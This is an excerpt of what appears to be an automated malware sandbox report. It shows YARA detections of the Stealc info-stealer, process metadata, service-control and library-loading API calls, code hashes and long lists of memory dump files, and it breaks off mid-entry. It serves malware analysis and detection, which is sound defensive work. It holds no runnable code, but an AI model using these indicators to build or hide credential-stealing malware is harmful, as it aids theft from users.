Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000030.00000002.3018675741.00000000002BE000.00000002.00000001.01000000.00000018.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000030.00000002.3018412209.00000000002A1000.00000080.00000001.01000000.00000018.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000030.00000000.3003208783.00000000002BE000.00000002.00000001.01000000.00000018.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000030.00000002.3028252435.00000000014B8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000030.00000000.3003112537.00000000002A1000.00000080.00000001.01000000.00000018.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	19:39:35
Start date:	31/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4896 -parentBuildID 20230927232528 -sandboxingKind 0 -prefsHandle 4880 -prefMapHandle 4876 -prefsLen 32262 -prefMapSize 239580 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {2bbb0be4-1696-4846-9575-46d8e9741b04} 6612 "\\.\pipe\gecko-crash-server-pipe.6612" 20f3b07f710 utility
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Function 00A25A6B Relevance: .3, Instructions: 318COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2221768283.0000000000A11000.00000004.00000020.00020000.00000000.sdmp, Offset: 00A11000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_a11000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 971ed2a0bfa0a6694ca4d5574ea136548806cbc1a085acc17262cec71af720c9
Instruction ID: 8c1839f505ae8e824d8aa2bf798562749193be1b9fcea1563d9b857fc97a809a
Opcode Fuzzy Hash: 971ed2a0bfa0a6694ca4d5574ea136548806cbc1a085acc17262cec71af720c9
Instruction Fuzzy Hash: 6181B55180F7D15FD313877868A9686BFB06E23115B1E86DBC0D1CF4B3E24A084AC763

Analysis Process: YQEN9A9QU4P1VROBPV5YS.exePID: 4232, Parent PID: 6532COMMON

Execution Graph

Execution Coverage:	3.8%
Dynamic/Decrypted Code Coverage:	40%
Signature Coverage:	33.3%
Total number of Nodes:	30
Total number of Limit Nodes:	2

Executed Functions

Function 04B715D0 Relevance: 1.8, APIs: 1, Instructions: 299
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ChangeServiceConfigA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?), ref: 04B718C8

Memory Dump Source

Source File: 00000003.00000002.2491446685.0000000004B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4b70000_YQEN9A9QU4P1VROBPV5YS.jbxd

Similarity

API ID: ChangeConfigService
String ID:
API String ID: 3849694230-0
Opcode ID: 418c315965f5ac63f7cb7d9982fe7e4ef9746ce821abb9bc501151f7ddab7af0
Instruction ID: 5c4c43e89e46f15a3bd8834a146aeb609c2a301781a8f30d79efcebe04fd11ae
Opcode Fuzzy Hash: 418c315965f5ac63f7cb7d9982fe7e4ef9746ce821abb9bc501151f7ddab7af0
Instruction Fuzzy Hash: F8C16971D002599FDB10CFA8C8857AEBBF1FB48314F0486A9EC65E7384D774A992CB91

Function 0070F17E Relevance: 1.5, APIs: 1, Instructions: 18
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(00000035), ref: 0070F19B

Memory Dump Source

Source File: 00000003.00000002.2487281362.0000000000709000.00000040.00000001.01000000.00000006.sdmp, Offset: 00590000, based on PE: true

Associated: 00000003.00000002.2483711933.0000000000590000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2483748959.0000000000592000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2483808313.0000000000596000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2483853332.000000000059A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2483885966.00000000005A6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2484060547.00000000006F3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2485307175.00000000006F6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487281362.0000000000717000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487361232.000000000071C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487395315.000000000071F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487430724.0000000000720000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487464138.0000000000721000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487499639.0000000000730000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487533935.0000000000733000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487563331.0000000000735000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487597079.0000000000736000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487630983.0000000000744000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487663341.0000000000745000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487696539.000000000074B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487739174.000000000074C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487773112.0000000000753000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487806714.000000000075C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487845828.0000000000767000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487874851.000000000076C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487909232.0000000000774000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487935815.0000000000775000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487967155.0000000000785000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487999591.0000000000788000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488032837.000000000078A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488066114.0000000000792000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488101449.0000000000799000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488139664.000000000079C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488225766.00000000007A2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488328738.00000000007A4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488423824.00000000007AB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488457364.00000000007B1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488487256.00000000007B8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488519018.00000000007BA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488549370.00000000007BB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488580535.00000000007BD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488611616.00000000007C5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488643874.00000000007C7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488679572.00000000007E2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488711893.00000000007E5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488758760.000000000081E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488758760.0000000000825000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488823831.0000000000834000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_590000_YQEN9A9QU4P1VROBPV5YS.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: d2558f456da1b4d8655ed303fb8c193e563754c38c497f615a37a22c33e970c9
Instruction ID: b7d2ff39e6ac62fca7d5c246526c2f22df49cdc48d0c781f0a399944d0d999b1
Opcode Fuzzy Hash: d2558f456da1b4d8655ed303fb8c193e563754c38c497f615a37a22c33e970c9
Instruction Fuzzy Hash: F9D0A9B21482A8BCF11067251E50A7B868CCBC4220F20C17EF845C6080842508090231

Function 0059B7BA Relevance: 1.3, Strings: 1, Instructions: 18COMMON

Download Yara Rule

Strings

!!iH, xrefs: 0059B92A

Memory Dump Source

Source File: 00000003.00000002.2483853332.000000000059A000.00000040.00000001.01000000.00000006.sdmp, Offset: 00590000, based on PE: true

Associated: 00000003.00000002.2483711933.0000000000590000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2483748959.0000000000592000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2483808313.0000000000596000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2483885966.00000000005A6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2484060547.00000000006F3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2485307175.00000000006F6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487281362.0000000000709000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487281362.0000000000717000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487361232.000000000071C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487395315.000000000071F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487430724.0000000000720000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487464138.0000000000721000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487499639.0000000000730000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487533935.0000000000733000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487563331.0000000000735000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487597079.0000000000736000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487630983.0000000000744000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487663341.0000000000745000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487696539.000000000074B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487739174.000000000074C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487773112.0000000000753000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487806714.000000000075C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487845828.0000000000767000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487874851.000000000076C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487909232.0000000000774000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487935815.0000000000775000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487967155.0000000000785000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487999591.0000000000788000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488032837.000000000078A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488066114.0000000000792000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488101449.0000000000799000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488139664.000000000079C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488225766.00000000007A2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488328738.00000000007A4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488423824.00000000007AB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488457364.00000000007B1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488487256.00000000007B8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488519018.00000000007BA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488549370.00000000007BB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488580535.00000000007BD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488611616.00000000007C5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488643874.00000000007C7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488679572.00000000007E2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488711893.00000000007E5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488758760.000000000081E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488758760.0000000000825000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488823831.0000000000834000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_590000_YQEN9A9QU4P1VROBPV5YS.jbxd

Similarity

API ID:
String ID: !!iH
API String ID: 0-3430752988
Opcode ID: 4b20880c9c1716742c8d54e2f290c78a3e81764b134b164d47f9bd4b7e77b0a8
Instruction ID: b2fa2b3ec8ef17078c1d7af24a57840c88e8056c5da0c2675198856a3c562994
Opcode Fuzzy Hash: 4b20880c9c1716742c8d54e2f290c78a3e81764b134b164d47f9bd4b7e77b0a8
Instruction Fuzzy Hash: E8E0CD315145C68AFF16DF64AB057693F0DFB80700F100115FB014AF49CB6D0E158751

Function 0070CE97 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 123
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 0070CE97

Strings

*?~, xrefs: 0070CF03

Memory Dump Source

Source File: 00000003.00000002.2487281362.0000000000709000.00000040.00000001.01000000.00000006.sdmp, Offset: 00590000, based on PE: true

Associated: 00000003.00000002.2483711933.0000000000590000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2483748959.0000000000592000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2483808313.0000000000596000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2483853332.000000000059A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2483885966.00000000005A6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2484060547.00000000006F3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2485307175.00000000006F6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487281362.0000000000717000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487361232.000000000071C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487395315.000000000071F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487430724.0000000000720000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487464138.0000000000721000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487499639.0000000000730000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487533935.0000000000733000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487563331.0000000000735000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487597079.0000000000736000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487630983.0000000000744000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487663341.0000000000745000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487696539.000000000074B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487739174.000000000074C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487773112.0000000000753000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487806714.000000000075C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487845828.0000000000767000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487874851.000000000076C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487909232.0000000000774000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487935815.0000000000775000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487967155.0000000000785000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487999591.0000000000788000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488032837.000000000078A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488066114.0000000000792000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488101449.0000000000799000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488139664.000000000079C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488225766.00000000007A2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488328738.00000000007A4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488423824.00000000007AB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488457364.00000000007B1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488487256.00000000007B8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488519018.00000000007BA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488549370.00000000007BB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488580535.00000000007BD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488611616.00000000007C5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488643874.00000000007C7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488679572.00000000007E2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488711893.00000000007E5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488758760.000000000081E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488758760.0000000000825000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488823831.0000000000834000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_590000_YQEN9A9QU4P1VROBPV5YS.jbxd

Similarity

API ID: LibraryLoad
String ID: *?~
API String ID: 1029625771-4058428487
Opcode ID: 7bd68d7eda8b9ae066f8a437d905e94974993642d120e57dda42566791acba2d
Instruction ID: 35ee90bcc68bfdbd7978e8e294a8ee0bebb7773a9e2fde602aa520c0a149cbe4
Opcode Fuzzy Hash: 7bd68d7eda8b9ae066f8a437d905e94974993642d120e57dda42566791acba2d
Instruction Fuzzy Hash: 66416FB200C200EFE706AF19D8866BAFBF5FF44360F21892DE6C4C2250E77948458B67

Function 04B715C4 Relevance: 1.8, APIs: 1, Instructions: 302
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ChangeServiceConfigA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?), ref: 04B718C8

Memory Dump Source

Source File: 00000003.00000002.2491446685.0000000004B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4b70000_YQEN9A9QU4P1VROBPV5YS.jbxd

Similarity

API ID: ChangeConfigService
String ID:
API String ID: 3849694230-0
Opcode ID: cfbd4ea196ac56c65e10efc526b5fce90dd45072ab548d4c320f8404d890e369
Instruction ID: 68eabc4d35fb1c7ef78da7da59f0de7a0eae30ce3e32629104ceecc6351f7e1b
Opcode Fuzzy Hash: cfbd4ea196ac56c65e10efc526b5fce90dd45072ab548d4c320f8404d890e369
Instruction Fuzzy Hash: 8AC16971D002599FDB10CFA8C8857AEBBF1FB48314F0486A9EC65A7384D774A882CB91

Function 0070CD50 Relevance: 1.6, APIs: 1, Instructions: 113
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 0070CD50

Memory Dump Source

Source File: 00000003.00000002.2487281362.0000000000709000.00000040.00000001.01000000.00000006.sdmp, Offset: 00590000, based on PE: true

Associated: 00000003.00000002.2483711933.0000000000590000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2483748959.0000000000592000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2483808313.0000000000596000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2483853332.000000000059A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2483885966.00000000005A6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2484060547.00000000006F3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2485307175.00000000006F6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487281362.0000000000717000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487361232.000000000071C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487395315.000000000071F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487430724.0000000000720000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487464138.0000000000721000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487499639.0000000000730000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487533935.0000000000733000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487563331.0000000000735000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487597079.0000000000736000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487630983.0000000000744000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487663341.0000000000745000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487696539.000000000074B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487739174.000000000074C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487773112.0000000000753000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487806714.000000000075C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487845828.0000000000767000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487874851.000000000076C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487909232.0000000000774000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487935815.0000000000775000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487967155.0000000000785000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2487999591.0000000000788000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488032837.000000000078A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488066114.0000000000792000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488101449.0000000000799000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488139664.000000000079C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488225766.00000000007A2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488328738.00000000007A4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488423824.00000000007AB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488457364.00000000007B1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488487256.00000000007B8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488519018.00000000007BA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488549370.00000000007BB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488580535.00000000007BD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488611616.00000000007C5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488643874.00000000007C7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488679572.00000000007E2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488711893.00000000007E5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488758760.000000000081E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488758760.0000000000825000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2488823831.0000000000834000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_590000_YQEN9A9QU4P1VROBPV5YS.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 833485b25b5ef4b8a44ea5547a2323d0429eee85366f62136e265cdf553cab37
Instruction ID: 6fc2723af44104da10842f0700114666d4560dd8b3f300b6000416cd05e3deb5
Opcode Fuzzy Hash: 833485b25b5ef4b8a44ea5547a2323d0429eee85366f62136e265cdf553cab37
Instruction Fuzzy Hash: 0E31C2F210C708AFE316BF18EC85ABAFBE9EF54360F11492DE6C082600EB355444DA97

Function 04B70D42 Relevance: 1.6, APIs: 1, Instructions: 60
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 04B70DCD

Memory Dump Source

Source File: 00000003.00000002.2491446685.0000000004B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4b70000_YQEN9A9QU4P1VROBPV5YS.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: e0a508ba7fe5d3e415b423f47a6c8e115ebe11cb5dc068c920e6d866bd615223
Instruction ID: 645c1fcc5b394d404226dad7dff54dce3f52b9ef4173520f78c4076ce3366735
Opcode Fuzzy Hash: e0a508ba7fe5d3e415b423f47a6c8e115ebe11cb5dc068c920e6d866bd615223
Instruction Fuzzy Hash: 9F2135B6C012099FCB50DF99D884BDEFBF4EF88720F14815AD918AB244D774A540CBA5

Function 04B70D48 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 04B70DCD

Memory Dump Source

Source File: 00000003.00000002.2491446685.0000000004B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4b70000_YQEN9A9QU4P1VROBPV5YS.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: b3d04800a7ed17cb0d0a6198030a6ddaae2a606f3a01885ea2f859e3fe5bf515
Instruction ID: 4edd2414ff259339ebe8783821f9eaba31a7c7c7ea2e0f2f3002822850497350
Opcode Fuzzy Hash: b3d04800a7ed17cb0d0a6198030a6ddaae2a606f3a01885ea2f859e3fe5bf515
Instruction Fuzzy Hash: 352135B6C003099FCB50DF99D884BDEFBF4EF88720F14815AD918AB244D774A540CBA4

Function 04B71510 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 04B71580

Memory Dump Source

